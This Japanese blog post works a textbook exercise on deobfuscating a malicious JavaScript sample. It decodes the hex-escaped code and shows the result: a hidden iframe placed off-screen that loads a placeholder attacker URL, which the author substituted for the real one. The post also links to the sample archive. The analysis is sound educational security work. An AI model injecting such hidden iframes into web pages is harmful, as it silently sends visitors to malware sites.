「サイバーセキュリティモニタリング(ハニーポット編 1) - あしのあしあと」の続き。3 章の章末問題【2】をやる。「ハニーポット編 2」とは言いながら、この問題は、難読化の解除の問題。まぁよい。まずは、サンプルをとってくる。
- https://sites.google.com/site/jsmalwaredetection/samplefiles
- Malicious redirecting attack.zip 中の、3(6).txt
なお、会社などでは、このサンプルを使わないでほしい。たぶん、ウイルス対策ソフトがうなる。zip ファイルをダウンロードしただけでうなるし、ファイル中の JavaScript を、テキストファイルに貼り付けて保存しただけでも、うなる。たいしたスクリプトでもないのに、うなる*1。単純な「パターンマッチング」で、うなっているのではないかと思う。
なので、以下では、一部のコードを省略し、攻撃者のサイトの URL を「http://evil.example.jp」に変更する。
さて、得られたサンプルを、普通に URL デコード(パーセントデコード)すると、次のようになる。それでも、配列 _0x13ea の要素は、まだ読みにくい。
<script> var _0x13ea=["\x3C\x64\x69\x76 … \x3C\x2F\x64\x69\x76\x3E","\x77\x72\x69\x74\x65"]; document[_0x13ea[1]](_0x13ea[0]); </script>
Google Chrome の「デベロッパーツール」を使って、console.log 関数に、難読化された箇所を渡してあげると、簡単に解除できる。
console.log('\x3C\x64\x69\x76 … \x3C\x2F\x64\x69\x76\x3E'); console.log('\x77\x72\x69\x74\x65');
結局、出てきたのは、次のスクリプト。ダサい。
document[write]( <div style="position:absolute; top:-508px;"> <iframe src="http://evil.example.jp"></iframe> </div>);
通常、オブジェクトのプロパティは「ドット(.)」演算子を用いる。しかし、「 [ ] 」演算子の中に、文字列として、プロパティ名を指定することもできる。いわゆる「連想配列」。
まぁつまり、実行される関数は、document.write 。この関数によって、iframe 要素が書きだされれ、src 属性にある攻撃者のサイトに、リクエストが送信される。マルウェアをダウンロードするためのリクエストだろう。被害者は、この iFrame によって、攻撃者の用意したコンテンツをロードしてしまう。悪いことに、この iFrame は、スタイルによって「top:-508px;」の場所に作成される。つまり、ブラウザの画面の一番上から、さらに 508 px も上に作成される。従って、被害者から、これらのやりとりは、全く見えない。
ということで、お終い。易しい問題でした。